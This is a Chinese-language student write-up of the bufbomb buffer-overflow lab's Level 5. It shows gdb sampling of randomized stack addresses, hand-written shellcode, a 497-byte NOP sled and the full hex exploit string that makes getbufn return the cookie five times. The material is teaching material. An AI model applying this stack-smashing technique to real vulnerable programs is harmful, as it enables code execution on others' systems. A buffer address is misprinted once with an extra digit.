Level 5 Nitroglycerin (10 分)
题目说明:这一关是一道加分题。在bufbomb程序中还有一个‘-n‘的选项,使用这个选项时,bufbomb会运行Nitro模式,此时程序不会调用getbuf,而是调用getbufn:
int getbufn() { char buf[512]; Gets(buf); return 1; }
这个函数与getbuf所不同的是,分配了512字节的字符数组,而调用getbufn的函数会在栈中随机分配一段存储区,这导致getbufn使用的栈基址EBP随机变化。此外,在Nitro模式运行时,bufbomb会要求提供5次输入字符串,每一次都要求getbufn的返回值为实验者的cookie。
与Level4相同,但要求提供同一个exploit string,在getbufn被调用5次后,最终返回到testn函数中,且不能破坏testn的堆栈状态,并使返回值为cookie。
解法:
由于getbufn函数栈的EBP不固定,每一次buf都不相同,我们先进行采样,观察其变化规律。
(gdb) disass getbufn Dump of assembler code for function getbufn: 0x08048a60 <getbufn+0>: push %ebp 0x08048a61 <getbufn+1>: mov %esp,%ebp 0x08048a63 <getbufn+3>: sub $0x208,%esp 0x08048a69 <getbufn+9>: add $0xfffffff4,%esp 0x08048a6c <getbufn+12>: lea 0xfffffe00(%ebp),%eax 0x08048a72 <getbufn+18>: push %eax 0x08048a73 <getbufn+19>: call 0x8048b50 <Gets> 0x08048a78 <getbufn+24>: mov $0x1,%eax 0x08048a7d <getbufn+29>: mov %ebp,%esp 0x08048a7f <getbufn+31>: pop %ebp 0x08048a80 <getbufn+32>: ret End of assembler dump. (gdb) b *0x8048a72 注:在调用Gets前下断点 Breakpoint 1 at 0x8048a72 (gdb) run -n -t heen 以Nitro模式运行 Starting program: /root/Desktop/buflab/bufbomb -n -t heen Team: heen Cookie: 0x5573b7cf Breakpoint 1, 0x08048a72 in getbufn () (gdb) p/x $ebp+0xfffffe00 以16进制打印buf $1 = 0xbfffaeb8 (gdb) cont Continuing. Type string:hello Dud: getbufn returned 0x1 Better luck next time Breakpoint 1, 0x08048a72 in getbufn () (gdb) p/x $ebp+0xfffffe00 $2 = 0xbfffaeb8 (gdb) cont Continuing. Type string:hello again Dud: getbufn returned 0x1 Better luck next time Breakpoint 1, 0x08048a72 in getbufn () (gdb) p/x $ebp+0xfffffe00 $3 = 0xbfffaec8 (gdb) cont Continuing. Type string:hello again again Dud: getbufn returned 0x1 Better luck next time Breakpoint 1, 0x08048a72 in getbufn () (gdb) p/x $ebp+0xfffffe00 $4 = 0xbfffae98 (gdb) cont Continuing. Type string:dfafafaf Dud: getbufn returned 0x1 Better luck next time Breakpoint 1, 0x08048a72 in getbufn () (gdb) p/x $ebp+0xfffffe00 $5 = 0xbfffaec8 (gdb) p $ebp+0xfffffe00-$ebp $6 = -512 (gdb) cont Continuing. Type string:fdfdfdfdfff Dud: getbufn returned 0x1 Better luck next time Program exited normally.
在getbufn被调用5次时,buf分别为0xbfffaeb8、0xbfffaeb8、0xbffffaec8、0xbfffae98、0xbfffaec8。最后我们打印了一下buf与EBP之间的偏移,正好为buf分配的512字节。堆栈布局如图所示。
由于buf分配了足够的存储空间(512字节),而且buf本身随机变化,因此我们考虑在实际的shellcode前加上NOP Sled(空指令雪撬),然后提供一个buf在getbufn5次调用中的最大地址覆盖ret,这样可保证ret指向EBP与实际buf之间的NOP Sled区,这样保证通过NOP空指令滑行,最终执行shellcode。
另外一个需要注意的地方是恢复调用函数testn的堆栈状态,由于EBP不固定,不能向Level 4那样在exploit string中填入SFP,需要在shellcode中设置。
总结一下,编写shellcode需要(1)恢复SFP;(2)设置getbufn返回值为cookie;(3)跳转到testn中调用getbufn后的下一指令地址。
反汇编testn
(gdb) disass testn Dump of assembler code for function testn: 0x08048a84 <testn+0>: push %ebp 0x08048a85 <testn+1>: mov %esp,%ebp 0x08048a87 <testn+3>: sub $0x18,%esp ; %ebp=%esp+0x18 0x08048a8a <testn+6>: movl $0xdeadbeef,0xfffffffc(%ebp) 0x08048a91 <testn+13>: call 0x8048a60 <getbufn> 0x08048a96 <testn+18>: mov %eax,%edx ;shellcode需要返回到的地址 0x08048a98 <testn+20>: mov 0xfffffffc(%ebp),%eax 0x08048a9b <testn+23>: cmp $0xdeadbeef,%eax 0x08048aa0 <testn+28>: je 0x8048ab1 <testn+45> 0x08048aa2 <testn+30>: add $0xfffffff4,%esp 0x08048aa5 <testn+33>: push $0x8049440 0x08048aaa <testn+38>: call 0x8048748 <[email protected]> 0x08048aaf <testn+43>: jmp 0x8048ae1 <testn+93> 0x08048ab1 <testn+45>: cmp 0x804aa50,%edx 0x08048ab7 <testn+51>: jne 0x8048ad3 <testn+79> 0x08048ab9 <testn+53>: add $0xfffffff8,%esp 0x08048abc <testn+56>: push %edx 0x08048abd <testn+57>: push $0x80494c0 0x08048ac2 <testn+62>: call 0x8048748 <[email protected]> 0x08048ac7 <testn+67>: add $0xfffffff4,%esp 0x08048aca <testn+70>: push $0x4 0x08048acc <testn+72>: call 0x8048c30 <validate> ---Type <return> to continue, or q <return> to quit---
由于我们只覆盖了getbufn在堆栈中的SFP和RET,不会影响ESP,可以反推testn堆栈中的ebp(即getbufn的SFP)为esp+0x18。通过这些信息,编写shellcode,并获得其十六进制的机器码
[[email protected] buflab]# cat exploit5_shellcode.s leal 0x18(%esp),%ebp movl $0x5573b7cf,%eax pushl $0x8048a96 ret [[email protected] buflab]# gcc -c exploit5_shellcode.s [[email protected] buflab]# objdump -d exploit5_shellcode.o exploit5_shellcode.o: file format elf32-i386 Disassembly of section .text: 00000000 <.text>: 0: 8d 6c 24 18 lea 0x18(%esp),%ebp 4: b8 cf b7 73 55 mov $0x5573b7cf,%eax 9: 68 96 8a 04 08 push $0x8048a96 e: c3 ret
上述shellcode的机器码包括15个字节,我们还需要在其前面填入512 -15 = 497个NOP(90)。
编写497个空格间断的90是一件痛苦的事,幸好我们有perl来帮我们完成
[[email protected] buflab]# perl -e ‘print "90 " x 497;‘> exploit5.txt
当然perl还可直接生成exploit string,由于有sendstring程序,此处不表。
接着编辑exploit5.txt,在最后一个90后填入。
90 90 ... 90 8d 6c 24 18 b8 cf b7 73 55 68 96 8a 04 08 c3 61 61 61 61 c8 ae ff bf
<-497个->
上面的4个61为覆盖SFP的地方,由于我们shellcode中做了设置,因此此处可为任意字节(除回车和nul),最后紧跟我们实验中获得的buf 的最大地址0xbffffaec8。
运行
[[email protected] buflab]# cat exploit5.txt|./sendstring -n 5 |./bufbomb -n -t heen Team: heen Cookie: 0x5573b7cf Type string:KABOOM!: getbufn returned 0x5573b7cf Keep going Type string:KABOOM!: getbufn returned 0x5573b7cf Keep going Type string:KABOOM!: getbufn returned 0x5573b7cf Keep going Type string:KABOOM!: getbufn returned 0x5573b7cf Keep going Type string:KABOOM!: getbufn returned 0x5573b7cf NICE JOB!
在getbufn调用5次后,满足了题目要求。
总结:
上述5关前前后后做了一个月,尽管以前对栈的缓冲区溢出有所理解,但当真正实践起来又是另外一回事,也并非如记录中的那样一帆风顺、信手捻来,而是走了无数的弯路以后才理解、并应用了正确的方法、得出了最后的结果,正所谓"纸上得来终觉浅,绝知此事要躬行",在信息安全这样一个实战性极强的领域里,更需要实实在在地耕耘下去。